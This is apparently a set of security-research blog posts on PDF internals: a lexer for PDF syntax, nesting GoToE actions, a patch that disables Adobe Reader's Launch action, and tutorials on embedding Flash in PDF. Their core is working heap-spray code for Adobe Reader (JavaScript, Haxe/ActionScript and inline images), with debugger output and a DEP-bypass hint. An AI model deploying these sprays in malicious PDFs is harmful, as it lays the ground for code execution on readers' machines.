34.5 -3.62 +123.6 4. -.002 0.0 123 43445 +17 -98 0

PDF provides two types of numeric objects: integer and real. Integer objects represent mathematical integers. Real objects represent mathematical real numbers.

def t_NUMBER(t):
    r'[+-]{0,1}(\d*\.\d+|\d+\.\d*|\d+)' 
    return t

File Header

The first line of a PDF file shall be a header consisting of the 5 characters %PDF- followed by a version number of the form 1.N, where N is a digit between 0 and 7.

def t_HEADER(t):
    r'%PDF-1\.[0-7]'
    t.value = t.value[-3:]
    return t

Cross-Reference Table

Nowadays it seems that every “good” PDF out there is using eventually compressed crossreferences streams, but still the following is the most simple cross referencing way described in the spec. Each cross-reference section shall begin with a line containing the keyword xref.

@TOKEN(r'xref[' + white_spaces_r +']*'+eol)
def t_XREF(t):
    t.lexer.push_state('xref')    
    t.lexer.xref = []
    t.lexer.xref_start = t.lexpos

Following this line shall be one or more cross-reference subsections, which may appear in any order.
@TOKEN(r’[0-9]+[ ][0-9]+[' + white_spaces_r +']*’+eol)

def t_xref_SUBXREF(t):
    n = t.value.split(" ")
    t.lexer.xref.append(((int(n[0],10),int(n[1],10)),[]))
    
def t_xref_XREFENTRY(t):
    r'\d{10}[ ]\d{5}[ ][nf](\x20\x0D|\x20\x0A|\x0D\x0A)'
    n = t.value.strip().split(" ")
    t.lexer.xref[len(t.lexer.xref)-1][1].append((int(n[0],10), int(n[1],10), n[2]))

Anything that do not match the last 3 rules is a get-out-of-here indicator…

def t_xref_out(t):
    r'.'
    t.lexer.pop_state()  
    t.type = 'XREF'
    t.value = t.lexer.xref
    t.lexer.lexpos -= 1
    t.lexpos=t.lexer.xref_start
    return t

File Trailer

The trailer of a PDF file enables a conforming reader to quickly find the cross-reference table and certain special objects. Conforming readers should read a PDF file from its end. The last line of the file shall contain only the end-of-file marker, %%EOF. The two preceding lines shall contain, one per line and in order, the keyword startxref and the byte offset in the decoded stream from the beginning of the file to the beginning of the xref keyword in the last cross-reference section. The startxref line shall be preceded by the trailer dictionary, consisting of the keyword trailer followed by a series of key-value pairs enclosed in double anglebrackets (<>).
Thus, the trailer has the following overall structure:

trailer
<>
startxref
Byte_offset_of_last_cross-reference_section
%%EOF

So we just need to add this 3 last tokens…

t_TRAILER = r'trailer'

@TOKEN(r'startxref'+ '['+white_spaces_r+']+[0-9]+')
def t_STARTXREF(t):
    t.value = int(t.value[10:],10)
    return t

t_EOF = r'%%EOF'

Ok… that’s pretty much it. Bored? Well I am.
Where to go from here?
The bar?
Or the parser?

f/

[+] It makes it possible to develop exploits for highly predictable memory layouts.

We already posted here a step by step howto programatically embed a pdf file into another one, and also how to jump into the embed one. In that case the goal was prove there was a way to hide the nature of a malicious pdf into a better looking one.

Basically the GotoE pdf action documentation describes a way to open or jump to a pdf in another window. That’s accomplished crafting the NewWindow flag accordingly(setting it to true!). Check out how a new window opening GotoE action will look like..

  /S /GoToE
  /T <</N (embedfile.pdf)
       /R /C
       /NewWindow false
     >>
  /NewWindow false
>>

We’ve embed this minimal pdf file into a pdf shell that will jump to it, escapeTheBrowserMini. When you try that from a standalone reader it will open different window or tab depending on the Reader version, but in any case share the same process due to the magic of some IPC, but when run from a simple click in a web browser it will, for some reason, be forced to open the target pdf in a different Adobe Reader process. (tested in IE8/Opera/Chrome/FF+ADBE9.3.2)

That was great!
But Hey! This crash my browser!!

If you jump to a crashing pdf yes. And as we were filtring with the possibility of preventing the whole web browser to crash along with Abobe in the case of a bad pdf, we need to keep going a little more…
Surprisingly Abobe does some parsing on the father instance every time it jumps to an embedded pdf, so the browser will crash if we jump away to a crashing pdf. But this situation will not go so deep. If you jump to a pdf that jumps again to a third one the web browser grandfather will not be affected.

We control whether to jump to a pdf in a different window or if it replaces the current one with the embed pdf. Using that we can arrange a couple of nested GotoE and pdfs so a single separate window is opened. A behavior like that may be emulated making it jump from the web browser to a pdf shell in a separate NewWindow where it jumps again, this time replacing the current PDF in the same window. A minitool to do this is pasted here and also here.

Test it hard and check out this 100 windows pdf! WRAAAAH!

I think it’s about time to start calling the application Launching capability of Adobe (and friends) a VULNERABILITY.

Here you have a python script for PATCHING the affected dll and cripple the Launch Action.

#Megapatch for Didier Launch action abuse
#http://blog.didierstevens.com/2010/03/29/escape-from-pdf/

version="9.0"
path = "C:\\Program Files\\Adobe\\Adobe Reader %s\\Reader\\"%version
#path = "./"

data = file(path+"AcroRd32.dll","rb").read()
file(path+"AcroRd32.dll.bak","wb").write(data)
while data.find("Launch")!=-1:
	data = data.replace("Launch","Felipe")
file(path+"AcroRd32.dll","wb").write(data)

I tested it in W7 / Adobe Reader 9.3 but it should work for every version/OS/Arch mixture. In some OS you may experience some trouble replacing the dll.

(((( An untested improvement… s/Felipe/######/g ))))

Felipe/

This post is about how to fill the Adobe Readers Heap. We’ll summarize and put in practice 3 ways of filling Adobe Reader memory. The idea is that when Adobe finnish parsing our PDF we could be pretty sure that at some fixed address there will be controled data. We’re not going to do any fancy feng-shui or heap massage, the idea of this is just to show 3 practical known ways for filling the Reader process memory. Can we fill it?

”’In computer security, heap spraying is a technique used in exploits to facilitate arbitrary code execution. In general, code that sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process’ heap and fill the bytes in these blocks with the right values. They commonly take advantage from the fact that these heap blocks will roughly be in the same location every time the heap spray is run. ”’

The basic idea is to make the target process allocate BIG chunks of memory forcing the underlying memory allocator to align those at some 0×1000 border. There is ASLR and you can’t predict where a freshly allocated chunk of memory is going to be. But if the amount of asked memory is big enough, when allocated, it will be aligned at some 0×1000 border in most OSs. An allocation size of 0×100000 bytes works in XP and linux2.6.32 (32bits). Probably this will continue to be this way for a long time due to memory usage performance reasons. Think embedded!

Wikipedia says that there are 3 ways of implementing a heap spray: Javascript, ActionScript, and Images. So we’ll honor those 3:

The JS way

This is the most popular and most used way to play with memory allocations programatically. There are a lot of research and practical examples about this. I personally have started from here. We are targeting PDFs so it has one BIG drawback: you need to have Javascript interpreter on the target process. Interestingly Adobe Reader supports JS heap spraying.

The following JS code will construct a 0×100000 bytes long memory chunk made out of the concatenation of several %%minichunk%%. And then copy 300 times those 0×100000 bytes long chunk to 300 different newly allocated memory.

var slide_size=0x100000;
var size = 300;
var x = new Array(size);
var chunk = %%minichunk%%;

while (chunk.length <= slide_size/2)
    chunk += chunk;

for (i=0; i < size; i+=1) {
    id = ""+i;
    x[i]= chunk.substring(4,slide_size/2-id.length-20)+id;
}

That %%minichunk%% is a place holder that is going to be filled by the python that will generate the PDF file. If we made that %%minichunk%% of exactly 0×1000 bytes of controled data, any 0×1000 aligned byte inside the big chunk will have the first byte of the minichunk. Now as we’ll put 300 times the big chunk we could speculate where the OS will put at least one of those.

Ok let’s try it! we’ll modify a little bit the python from here so it contains the spraying JS. The new python file looks like this.

Let’s create the pdf:

and try it with Adobe Reader:

Its running! Now get its PID and check its memory footprint:

ps -eo pid,vsz,cmd -ww --sort=pid |grep acroread
8197 426104K /opt/Adobe/.../bin/acroread JSSpray.pdf

OK 400Megabytes! It seems to be working!
Let’s check out its memory mappings…

08048000-0970b000 r-xp 00000000 08:01 1754759 ..bin/acroread
0970b000-09792000 rwxp 016c2000 08:01 1754759 ..bin/acroread
09792000-097a0000 rwxp 00000000 00:00 0
098f9000-0b0bc000 rwxp 00000000 00:00 0       [heap]
a0200000-a0221000 rwxp 00000000 00:00 0
a0221000-a0300000 ---p 00000000 00:00 0
a0389000-a038a000 ---p 00000000 00:00 0
a038a000-a0c8a000 rwxp 00000000 00:00 0
a0d8a000-a0e8a000 rwxp 00000000 00:00 0
a0f89000-a0f8a000 ---p 00000000 00:00 0
a0f8a000-a138a000 rwxp 00000000 00:00 0
a13e2000-a188a000 rwxp 00000000 00:00 0
a192a000-a198a000 rwxs 00000000 00:08 2654222 /SYSV0.. (del)
a198a000-b3b8a000 rwxp 00000000 00:00 0
b3b8a000-b3d8b000 rwxp 00000000 00:00 0
b3e4e000-b3f4e000 rwxp 00000000 00:00 0

a198a000-b3b8a000 is probably the key. Let’s take a look with the debugger…

gdb
GNU gdb (Gentoo 7.0 p1) 7.0
Copyright (C) 2009 Free Software Foundation, Inc.
(gdb) attach 8197
(gdb) x/8x 0xb0000000+0x1000*0
0xb0000000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
0xb0000010: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/8x 0xb0000000+0x1000*1
0xb0001000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
0xb0001010: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/8x 0xb0000000+0x1000*2
0xb0002000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
0xb0002010: 0x41414141 0x41414141 0x41414141 0x41414141

It worked! We got the same values from memory 0×1000 aligned. We just need to hope some of our 300Megabytes were put in the 0xb0000000 address. The JS spraying PDF version is here.

The ActionScript way

For the actual Actionscript part of this we’ll pick up from here. And for the PDF part we’ll take the SWF into PDF tool from this post.

OK, the the following Haxe code will allocate a configurable number of times some 0×100000 bytes long memory chunks composed from the concatenation of the passed minichunks.
It expects as a parameter the content of the minichunk and the number of times it should replicate the ‘big’ 0×100000 bytes long chunk. For more info about AS sprays check this and that.

class MySpray
{
 static var Memory = new Array();
 static var chunk_size = 0x100000;
 static var chunk_num;
 static var minichunk;
 static var t;

 static function main()
 {
  minichunk = flash.Lib.current.loaderInfo.parameters.minichunk;
  chunk_num = Std.parseInt(flash.Lib.current.loaderInfo.parameters.N);
  t = new haxe.Timer(7);
  t.run = doSpray;
 }

 static function doSpray()
 {
  var chunk = new flash.utils.ByteArray();

  while(chunk.length < chunk_size)
   {
      chunk.writeMultiByte(minichunk, 'us-ascii');
   }

   for(i in 0...chunk_num)
   {
     Memory.push(chunk);
   }

   chunk_num--;
   if(chunk_num == 0)
   {
     t.stop();
   }
 }
}

Of course, it needs haxe to compile. And it compiles to Flash 9 issuing this command:

Once you have the swf file you may insert it into a pdf file using this py from this post.

python SWFSpray.py MySpray.swf "N=300&minichunk=<<<>>>" > SWFSpray.pdf

OK, Let’s run Adobe Reader:

… get its PID and check its memory footprint:

ps -eo pid,vsz,cmd -ww --sort=pid |grep acroread
8234 568144K /opt/Adobe/.../bin/acroread SWFSpray.pdf

OK 500Megabytes! It seems to be working!

Let’s check out its memory mappings…

cat /proc/8234/maps |head -n16
08048000-0970b000 r-xp 00000000 08:01 1754759 ../bin/acroread
0970b000-09792000 rwxp 016c2000 08:01 1754759 ../bin/acroread
09792000-097a0000 rwxp 00000000 00:00 0
0a712000-0ccda000 rwxp 00000000 00:00 0       [heap]
980f6000-983f6000 rwxp 00000000 00:00 0
983f6000-990f6000 ---p 00000000 00:00 0
990f6000-9a1f6000 rwxp 00000000 00:00 0
9a261000-9a429000 rwxp 00000000 00:00 0
9a5f0000-9b8f0000 rwxp 00000000 00:00 0
9b90a000-9cb0a000 rwxp 00000000 00:00 0
9cbee000-9ddee000 rwxp 00000000 00:00 0
9de9c000-9f09c000 rwxp 00000000 00:00 0
9f114000-a0314000 rwxp 00000000 00:00 0
a0356000-a1456000 rwxp 00000000 00:00 0
a145e000-a245e000 rwxp 00000000 00:00 0
a254e000-a354e000 rwxp 00000000 00:00 0
...

Let’s see what’s inside 9f114000-a0314000 with the debugger…

gdb
GNU gdb (Gentoo 7.0 p1) 7.0
Copyright (C) 2009 Free Software Foundation, Inc.
(gdb) attach 8234
(gdb) x/8x 0xa0000000+0x1000*0
0xa0000000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
0xa0000010: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/8x 0xa0000000+0x1000*1
0xa0001000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
0xa0001010: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/8x 0xa0000000+0x1000*2
0xa0002000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
0xa0002010: 0x41414141 0x41414141 0x41414141 0x41414141

It also worked! It feels a little slow though.

The Image way

As both the PDF specification and the Adobe implementation have been so bloated there are probably a lot of different ways to acomplish this. Our approach is to use as less PDF objects as posible. For this we’ll fill the memory using embeded images. There is a way explained in PDF32000 8.9.7 Inline Images for inlining image data into the page contents.

Basically a PDF inline image goes inside the content stream of a page and has this look:

where …

 BI       Begins an inline image object.
 ID       Begins the image data for an inline image object.
 EI       Ends an inline image object.

And here it is an example in the form of a python string…

… which represents a grayscale 10 pixels image of the color represented by “A”. No so big for our purpose but you got the idea. Also the 4k restriction/recomendation pointed out in the documentation is not enforced by Adobe’s implementation, so we can go really big. Also the page contents are PDF streams and could be compacted and filtered with any number of pdf filters, meaning… small PDF file size.

So here you have the py for generating a memory filling PDF using nothing but inline images.

Create the pdf:

Run Adobe Reader:

… get it’s PID and check its memory footprint:

ps -eo pid,vsz,cmd -ww --sort=pid |grep acroread
8805 532984K /opt/Adobe/.../bin/acroread PDFSpray.pdf

OK 500Megabytes! It seems to be working!

Let’s check out its memory mappings…

cat /proc/8805/maps |head -n16
08048000-0970b000 r-xp 00000000 08:01 1754759 ../bin/acroread
0970b000-09792000 rwxp 016c2000 08:01 1754759 ../bin/acroread
09792000-097a0000 rwxp 00000000 00:00 0
0985f000-0ba2f000 rwxp 00000000 00:00 0       [heap]
9a35c000-9a35d000 ---p 00000000 00:00 0
9a35d000-9a45d000 rwxp 00000000 00:00 0
9a45d000-9a45e000 ---p 00000000 00:00 0
9a45e000-a745e000 rwxp 00000000 00:00 0
a748c000-ad88c000 rwxp 00000000 00:00 0
adce0000-b40e0000 rwxp 00000000 00:00 0

And in the debugger…

gdb
GNU gdb (Gentoo 7.0 p1) 7.0
Copyright (C) 2009 Free Software Foundation, Inc.
(gdb) attach 8805
(gdb) x/8x 0xa0000000
0xa0000000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
0xa0000010: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/8x 0xa0000000+0x1000*1
0xa0001000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
0xa0001010: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/8x 0xa0000000+0x1000*2
0xa0002000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
0xa0002010: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/8x 0xa0000000+0x1000*3
0xa0003000: 0x3c3c3c3c 0x41414141 0x41414141 0x41414141
0xa0003010: 0x41414141 0x41414141 0x41414141 0x41414141

Again we have achieved our goal!

The sizes:

Here you may compare the sizes of the resulting PDF files…

The baseline

To gain perspective here you have the spec of the system where we tried all this…

Base memory consumption of an idle acroread::
117056k /opt/Adobe/Reader9/Reader/intellinux/bin/acroread

PaXtest::
Mode: kiddie
Linux localhost 2.6.31-gentoo-r6 #3 SMP Mon Dec 21 08:31:19 ART 2009
i686 Intel(R) Core(TM)2 CPU T5500 @ 1.66GHz GenuineIntel GNU/Linux

Executable anonymous mapping             : Vulnerable
Executable bss                           : Vulnerable
Executable data                          : Vulnerable
Executable heap                          : Vulnerable
Executable stack                         : Vulnerable
Executable anonymous mapping (mprotect)  : Vulnerable
Executable bss (mprotect)                : Vulnerable
Executable data (mprotect)               : Vulnerable
Executable heap (mprotect)               : Vulnerable
Executable stack (mprotect)              : Vulnerable
Executable shared library bss (mprotect) : Vulnerable
Executable shared library data (mprotect): Vulnerable
Writable text segments                   : Vulnerable
Anonymous mapping randomisation test     : 9 bits (guessed)
Heap randomisation test (ET_EXEC)        : 14 bits (guessed)
Heap randomisation test (ET_DYN)         : 16 bits (guessed)
Main executable randomisation (ET_EXEC)  : No randomisation
Main executable randomisation (ET_DYN)   : 8 bits (guessed)
Shared library randomisation test        : 10 bits (guessed)
Stack randomisation test (SEGMEXEC)      : 19 bits (guessed)
Stack randomisation test (PAGEEXEC)      : 19 bits (guessed)
Return to function (strcpy)              : Vulnerable
Return to function (memcpy)              : Vulnerable
Return to function (strcpy, RANDEXEC)    : Vulnerable
Return to function (memcpy, RANDEXEC)    : Vulnerable
Executable shared library bss            : Vulnerable
Executable shared library data           : Vulnerable

Conclusion:

Yes we can fill it!
There probably are and will be 1000000 ways to fill a browser memory, so it may be a good idea to stop trying to detect the source of the spray and instead, try detecting the spray itself. Also bear in mind that the actual spray may not contain code all the time, it may contain just pointers to do some ret2libc oriented programming.

You may grab a test bundle with all the code from here.

Flash AHAHHHHHHHHHHHHHHH!!!! In this post we are going to show how to add a swf(Flash) file to a PDF file using our miniPDF.py lib.

Flash support is relatively new in PDF and come into the scene primary for doing the PDF portable collection thing and such. We’ll follow the steps described in Adobe® Supplement to the ISO 32000 , so you probably need to grab it and keep it close to you. In the case you’ve missed the previous posts here you have a copy of the miniPDF.py so you can take a quick look. We are going to use that lib mainly as we did in earlier posts and start adding PDF objects until… –FLASH!– we end up with a one paged PDF with a running embedded SWF. OK, so lets start…

First we import the lib and create a PDFDoc object representing a document in memory …

doc = PDFDoc()

… prepare an empty content stream for the page and add it to the document.

contents = PDFStream('')
doc.add(contents)

The minimal page object. We construct it and add it to the document like this…

page = PDFDict()
page.add("Type", PDFName("Page"))
page.add("Contents", PDFRef(contents))
doc.add(page)

… then we need the list of pages. In this case containing just or blank page.

pages = PDFDict()
pages.add("Type", PDFName("Pages"))
pages.add("Kids", PDFArray(PDFRef(page)))
pages.add("Count", PDFNum(1))
doc.add(pages)

Let’s be nice and honor the PDF structure as stated in .We link the page to its parent.

page.add("Parent", PDFRef(pages))

And finally we add the catalog wich is the root object of this PDF.

catalog = PDFDict()
catalog.add("Type", PDFName("Catalog"))
catalog.add("Pages", PDFRef(pages))
doc.add(catalog)
doc.setRoot(catalog)

If we render that like this…

print doc

we’ll get a clean minimalistic PDF file with just one blank page.

Here you have the mkMINIPDF.py python file and the generated example. -Hey Mom look what I did!! A mini blank PDf file!!! look! look! Not so exiting though.

The annotation

As stated in the Adobe® Supplement to the ISO 32000 flash support in PDF is implemented as a type of annotation. More precisely, annotation type “RichMedia”. So we go back to the PDF32000 specification section 12.5 and take a look what a annotation is.

So we construct the RichMedia annotation object with all the required fields …

annot = PDFDict()
annot.add('Type',PDFName('Annot'))
annot.add('Subtype',PDFName('RichMedia'))
annot.add('Rect','[ 266 116 430 204 ]')
doc.add(annot)

… and we add it to our page.

page.add("Annots", PDFArray([PDFRef(annot)]))

This has nothing to do with flash yet. If we keep going trough the Adobe® Supplement to the ISO 32000 in TABLE 9.49 there is a list of the extra annotation entries specific to a RichMedia annotation. Wich are RichMediaSettings and RichMediaContents. So let’s add those two to the annotation dictionary.

Add a RichMediaSetting empty container to the document..

RMS = PDFDict()
doc.add(RMS)

… then the same with the a RichMediaContent dictionary.

RMC = PDFDict()
doc.add(RMC)

Both empty for now, we add it to the annotation..

annot.add('RichMediaSettings', PDFRef(RMS))
annot.add('RichMediaContent', PDFRef(RMC))

The RichMediaSettings

For the RichMediaSettings dictionary we need an activation and a deactivation dictionaries basically telling when the annotation should activate and deactivate…

First we add the activation dictionary. The ‘PO’ condition means ‘when the page containing the annotation is opened’. There are other options in the doc.

activation = PDFDict()
activation.add('Type', PDFName('RichMediaActivation'))
activation.add('Condition', PDFName('PO'))
doc.add(activation)

And the deactivation dictionary. The ‘XD’ means ‘run until deactivated by the user’.

deactivation = PDFDict()
deactivation.add('Type', PDFName('RichMediaDeactivation'))
deactivation.add('Condition', PDFName('XD'))
doc.add(deactivation)

And then the RichMediaSettings, flagging the annotations as being of type ‘Flash’. Note that we’ve already constructed and added an empty object representing this a couple of line before. We just populate it.

RMS.add('Type',PDFName('RichMediaSettings'))
RMS.add('Subtype',PDFName('Flash'))
RMS.add('Activation', PDFRef(activation))
RMS.add('Deactivation', PDFRef(deactivation))

The RichMediaContents

For the RichMediaContent dictionary we first need at least two things. The assets, a name tree of embedded file specification dictionaries. And a bunch of RichMediaConfiguration dictionaries.

The assets is the one pointing to the files involved as, for example, our .swf file. An asset name tree has this look:

29 0 obj
<< /Names    [      (Flash.swf) 31 0 R    ] >>
endobj

We take the file embedding functionality from this post. And will not trait it here, there is enough PDF madness with the Flash part. The _zipEmbeddeFile function take a filename return a filespec object after embedding the file into the PDF doc. We take the Flash filename from the first argument to the python.

assets = PDFDict()
swfname = PDFString(sys.argv[1])
efref = PDFRef(_zipEmbeddeFile(doc, sys.argv[1]))
assets.add('Names',PDFArray([swfname, efref]))
doc.add(assets)

Now we need the RichMediaConfiguration dictionaries that wich in our case will be just one (see Adobe® Supplement to the ISO 32000#TABLE 9.51).

RichMediaConfiguration Dictionary

But first lets declare the instances array we need for the RichMediaConfiruration. We’ll populate it in a while.

instances = []

And the actual RichMediaConfiguration.

RMCfg = PDFDict()
RMCfg.add('Type',PDFName('RichMediaConfiguration'))
RMCfg.add('Subtype',PDFName('Flash'))
RMCfg.add('Name',PDFString('ElFlash'))
RMCfg.add('Instances', PDFArray(instances))
doc.add(RMCfg)

And now we have most of the necessary for the RichMediaContent, lets add it…

RMC = PDFDict()
RMC.add('Type', PDFName('RichMediaContent'))
RMC.add('Assets', PDFRef(assets))
RMC.add('Configurations',PDFArray([PDFRef(RMCfg)]))
doc.add(RMC)

But we have leaved the instances array empty, and erg.. we need it so..

RichMediaInstance Dictionary

We are basically going to use this for designating wich embedded file is the flash and for passing arguments to it. Yes we can pass arguments to it!!!

The RichMediaInstances array has this look:

15 0 obj                    % RichMediaInstances array
[  17 0 obj ]
endobj
17 0 obj
<< /Type /RichMediaInstance
   /Subtype /Flash
   /Asset 31 0 R
   /Params 18 0 R
>>
endobj

And now we put together our only RichMediaInstance dictionary (see Adobe® Supplement to the ISO 32000#TABLE 9.51b)…

RMI = PDFDict()
RMI.add('Type',PDFName('RichMediaInstance'))
RMI.add('Subype',PDFName('Flash'))
RMI.add('Asset',efref)
doc.add(RMI)

And add it to the list of instances referenced from RichMediaConfiguration dict.

instances.append(PDFRef(RMI))

Also for passing parameters we could add a RichMediaParams dictionary (see Adobe® Supplement to the ISO 32000#TABLE 9.51c). We get the parameters from the content of the file named in the second argument passed to the python.

RMParams = PDFDict()
RMParams.add('Type', PDFName('RichMediaParams'))
RMParams.add('FlashVars', PDFString(file(sys.argv[2]).read()))
RMParams.add('Binding', PDFName('Background'))
doc.add(RMParams)

Also we need to link it from the RichMediaInstance…

RMI.add('Params',PDFRef(RMParams))

THAT’S IT!!! We only need to render the PDF…

print doc

Uff! Finally! The resulting python has this from ant it runs like this

And it works!!! I took a swf from the web and put it, here is the screenshot…

And HERE you have the test bundle with all this.

Untested and related: Also in my tests the authplay.dll, the dll providing all the Flash functionality to the Adobe Reader, is loaded at a fixed address in XPSPx when in IE or stand alone, wich means you can bypass DEP trough some ret2authplay.dll. Also when in stand alone the Reader dosn’t opt in for DEP

f/